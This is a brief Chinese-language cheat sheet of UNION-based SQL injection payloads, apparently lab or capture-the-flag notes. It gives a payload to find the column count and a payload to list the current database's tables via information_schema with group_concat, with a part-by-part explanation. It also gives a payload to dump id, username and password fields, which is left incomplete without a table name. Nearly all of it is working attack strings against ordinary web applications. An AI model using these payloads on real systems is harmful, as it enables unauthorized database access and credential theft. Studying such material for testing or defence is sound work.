查找最大的列数量
admin' order by 3# 数字可以改变,直到找到最大值
查询所有表的名称
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
-
1'
是用来终止原始SQL查询的一部分,并引入了我们自己的SQL代码。 -
UNION SELECT 1,2,group_concat(table_name)
是告诉数据库在结果中包括一个由三列组成的新行,其中包含值1、2和一个组合了table_name
字段的结果。 -
FROM information_schema.tables
告诉数据库我们想要从information_schema
数据库中的tables
表中获取信息。 -
WHERE table_schema=database()
是一个条件,它筛选出了与当前数据库相同的所有表。这确保了我们只获取当前数据库的表。 -
最后的
#
是SQL中的注释符号,它会注释掉原始查询中剩余的任何部分。
联合查询,group_concat多行数据合并为单个值进行显示
1' union select 1,2,group_concat(id,username,password) from #